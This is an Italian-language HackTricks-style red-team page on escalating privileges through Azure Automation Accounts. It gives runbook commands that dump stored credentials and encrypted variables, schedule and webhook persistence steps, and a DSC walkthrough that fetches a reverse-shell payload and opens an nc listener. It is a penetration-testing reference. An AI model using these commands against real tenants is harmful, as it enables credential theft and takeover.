Az - Azure Automation Accounts Privesc
Reading time: 11 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Automation Accounts
Per ulteriori informazioni controlla:
Hybrid Workers Group
- Dall'Automation Account alla VM
Ricorda che se in qualche modo un attaccante può eseguire un runbook arbitrario (codice arbitrario) in un hybrid worker, egli si sposterà verso la posizione della VM. Questa potrebbe essere una macchina on-premise, una VPC di un altro cloud o anche una VM di Azure.
Inoltre, se l'hybrid worker è in esecuzione in Azure con altre Managed Identities collegate, il runbook sarà in grado di accedere all'identità gestita del runbook e a tutte le identità gestite della VM dal servizio metadata.
tip
Ricorda che il servizio metadata ha un URL diverso (http://169.254.169.254
) rispetto al servizio da cui ottenere il token delle identità gestite dell'automation account (IDENTITY_ENDPOINT
).
- Dalla VM all'Automation Account
Inoltre, se qualcuno compromette una VM in cui è in esecuzione uno script dell'automation account, sarà in grado di localizzare i metadati dell'Automation Account e accedervi dalla VM per ottenere token per le Managed Identities collegate all'Automation Account.
Come è possibile vedere nell'immagine seguente, avendo accesso da Amministratore sulla VM è possibile trovare nelle variabili d'ambiente del processo l'URL e il segreto per accedere al servizio metadata dell'automation account:
Microsoft.Automation/automationAccounts/jobs/write
, Microsoft.Automation/automationAccounts/runbooks/draft/write
, Microsoft.Automation/automationAccounts/jobs/output/read
, Microsoft.Automation/automationAccounts/runbooks/publish/action
(Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.Automation/automationAccounts/runbooks/write
)
In sintesi, queste autorizzazioni consentono di creare, modificare ed eseguire Runbooks nell'Automation Account che potresti utilizzare per eseguire codice nel contesto dell'Automation Account e aumentare i privilegi alle Managed Identities assegnate e rivelare credenziali e variabili criptate memorizzate nell'Automation Account.
L'autorizzazione Microsoft.Automation/automationAccounts/runbooks/draft/write
consente di modificare il codice di un Runbook nell'Automation Account utilizzando:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Nota come lo script precedente può essere utilizzato per leakare il nome utente e la password di una credenziale e il valore di una variabile crittografata memorizzata nell'Automation Account.
Il permesso Microsoft.Automation/automationAccounts/runbooks/publish/action
consente all'utente di pubblicare un Runbook nell'Automation Account affinché le modifiche vengano applicate:
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
Il permesso Microsoft.Automation/automationAccounts/jobs/write
consente all'utente di eseguire un Runbook nell'Automation Account utilizzando:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
Il permesso Microsoft.Automation/automationAccounts/jobs/output/read
consente all'utente di leggere l'output di un lavoro nell'Automation Account utilizzando:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Se non ci sono Runbook creati, o se desideri crearne uno nuovo, avrai bisogno delle autorizzazioni Microsoft.Resources/subscriptions/resourcegroups/read
e Microsoft.Automation/automationAccounts/runbooks/write
per farlo utilizzando:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Questa autorizzazione consente all'utente di assegnare un'identità gestita dall'utente all'Automation Account utilizzando:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write
, Microsoft.Automation/automationAccounts/jobSchedules/write
Con il permesso Microsoft.Automation/automationAccounts/schedules/write
è possibile creare un nuovo Programma nell'Account di Automazione che viene eseguito ogni 15 minuti (non molto furtivo) utilizzando il seguente comando.
Nota che l'intervallo minimo per un programma è di 15 minuti, e che il tempo di inizio minimo è di 5 minuti nel futuro.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Quindi, con il permesso Microsoft.Automation/automationAccounts/jobSchedules/write
è possibile assegnare un Scheduler a un runbook utilizzando:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
tip
Nell'esempio precedente, l'ID del jobchedule è stato lasciato come b510808a-8fdc-4509-a115-12cfc3a2ad0d
come esempio ma dovrai utilizzare un valore arbitrario per creare questo assegnamento.
Microsoft.Automation/automationAccounts/webhooks/write
Con il permesso Microsoft.Automation/automationAccounts/webhooks/write
è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account utilizzando il seguente comando.
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Questo comando dovrebbe restituire un URI webhook che viene visualizzato solo al momento della creazione. Quindi, per chiamare il runbook utilizzando l'URI webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Con solo il permesso Microsoft.Automation/automationAccounts/runbooks/draft/write
è possibile aggiornare il codice di un Runbook senza pubblicarlo ed eseguirlo utilizzando i seguenti comandi.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write
, (Microsoft.Automation/automationAccounts/sourceControls/read
)
Questa autorizzazione consente all'utente di configurare un controllo sorgente per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Questo importerà automaticamente i runbook dal repository Github all'Automation Account e con alcuni altri permessi per iniziare a eseguirli sarebbe possibile escalare i privilegi.
Inoltre, ricorda che per il controllo del codice sorgente per funzionare negli Automation Accounts deve avere un'identità gestita con il ruolo Contributor
e se è un'identità gestita dall'utente, l'ID client della MI deve essere specificato nella variabile AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID
.
tip
Nota che non è possibile cambiare l'URL del repo di un controllo del codice sorgente una volta creato.
Microsoft.Automation/automationAccounts/variables/write
Con il permesso Microsoft.Automation/automationAccounts/variables/write
è possibile scrivere variabili nell'Automation Account utilizzando il seguente comando.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Ambienti di Esecuzione Personalizzati
Se un account di automazione utilizza un ambiente di esecuzione personalizzato, potrebbe essere possibile sovrascrivere un pacchetto personalizzato dell'ambiente con del codice malevolo (come una backdoor). In questo modo, ogni volta che un runbook che utilizza quell'ambiente personalizzato viene eseguito e carica il pacchetto personalizzato, il codice malevolo verrà eseguito.
Compromissione della Configurazione di Stato
Controlla il post completo in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Passo 1 — Creare File
File Richiesti: Sono necessari due script PowerShell:
reverse_shell_config.ps1
: Un file di Configurazione di Stato Desiderato (DSC) che recupera ed esegue il payload. È disponibile su GitHub.push_reverse_shell_config.ps1
: Uno script per pubblicare la configurazione sulla VM, disponibile su GitHub.
Personalizzazione: Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload.
- Passo 2 — Comprimere il File di Configurazione
Il reverse_shell_config.ps1
viene compresso in un file .zip
, rendendolo pronto per il trasferimento all'Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Passo 3 — Imposta il contesto di archiviazione e carica
Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Passo 4 — Prepara Kali Box
Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell.
- Step 5 — Pubblica il file di configurazione
Il file di configurazione viene eseguito, risultando nel deployment dello script della reverse shell nella posizione specificata sulla VM Windows.
- Step 6 — Ospita il payload e imposta il listener
Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.